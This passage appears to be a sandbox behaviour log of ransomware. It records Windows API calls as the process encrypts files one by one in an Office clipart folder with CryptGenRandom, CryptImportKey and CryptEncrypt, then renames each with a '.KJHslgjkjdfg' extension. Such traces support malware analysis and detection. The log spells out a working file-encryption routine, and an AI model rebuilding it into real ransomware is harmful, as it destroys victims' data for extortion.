Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.270] GetProcessHeap () returned 0x2a0000 [0180.270] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.270] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.270] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.270] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0180.274] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.274] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.274] GetProcessHeap () returned 0x2a0000 [0180.274] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.274] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.274] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.274] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.274] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.274] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.274] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.274] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.275] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.275] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.275] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.275] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.275] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x244a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x244a, lpOverlapped=0x0) returned 1 [0180.276] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2450, dwBufLen=0x2450 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2450) returned 1 [0180.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.276] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2450, lpOverlapped=0x0) returned 1 [0180.276] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.276] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.276] SetEndOfFile (hFile=0x114) returned 1 [0180.279] GetProcessHeap () returned 0x2a0000 [0180.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.279] GetProcessHeap () returned 0x2a0000 [0180.279] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215709.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215709.wmf.kjhslgjkjdfg")) returned 1 [0180.281] CloseHandle (hObject=0x114) returned 1 [0180.281] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87920b00, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87920b00, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x45a2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215710.WMF", cAlternateFileName="")) returned 1 [0180.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.282] GetProcessHeap () returned 0x2a0000 [0180.283] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.283] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.283] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.283] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0180.406] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.406] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.406] GetProcessHeap () returned 0x2a0000 [0180.406] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.406] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.406] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.407] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.407] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.407] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.407] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x45a2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x45a2, lpOverlapped=0x0) returned 1 [0180.409] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45b0, dwBufLen=0x45b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x45b0) returned 1 [0180.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.409] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x45b0, lpOverlapped=0x0) returned 1 [0180.409] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.409] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.409] SetEndOfFile (hFile=0x114) returned 1 [0180.412] GetProcessHeap () returned 0x2a0000 [0180.413] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.413] GetProcessHeap () returned 0x2a0000 [0180.413] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.413] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.kjhslgjkjdfg")) returned 1 [0180.414] CloseHandle (hObject=0x114) returned 1 [0180.414] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0180.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.416] GetProcessHeap () returned 0x2a0000 [0180.416] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.416] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.416] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0180.418] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.418] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.418] GetProcessHeap () returned 0x2a0000 [0180.418] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.418] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.418] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.418] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.419] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.419] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.419] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.419] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.419] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.419] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.419] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15f2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x15f2, lpOverlapped=0x0) returned 1 [0180.420] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600, dwBufLen=0x1600 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1600) returned 1 [0180.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.420] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1600, lpOverlapped=0x0) returned 1 [0180.420] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.420] SetEndOfFile (hFile=0x114) returned 1 [0180.423] GetProcessHeap () returned 0x2a0000 [0180.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.423] GetProcessHeap () returned 0x2a0000 [0180.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.kjhslgjkjdfg")) returned 1 [0180.425] CloseHandle (hObject=0x114) returned 1 [0180.425] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0180.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.426] GetProcessHeap () returned 0x2a0000 [0180.426] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.426] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0180.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.429] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.429] GetProcessHeap () returned 0x2a0000 [0180.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.429] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.429] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.429] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.429] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.429] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.430] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa783, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa783, lpOverlapped=0x0) returned 1 [0180.431] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa790, dwBufLen=0xa790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa790) returned 1 [0180.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.432] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa790, lpOverlapped=0x0) returned 1 [0180.432] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.433] SetEndOfFile (hFile=0x114) returned 1 [0180.436] GetProcessHeap () returned 0x2a0000 [0180.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.436] GetProcessHeap () returned 0x2a0000 [0180.436] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.436] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.kjhslgjkjdfg")) returned 1 [0180.437] CloseHandle (hObject=0x114) returned 1 [0180.438] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0180.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.442] GetProcessHeap () returned 0x2a0000 [0180.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.442] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0180.445] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.445] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.445] GetProcessHeap () returned 0x2a0000 [0180.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.445] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, 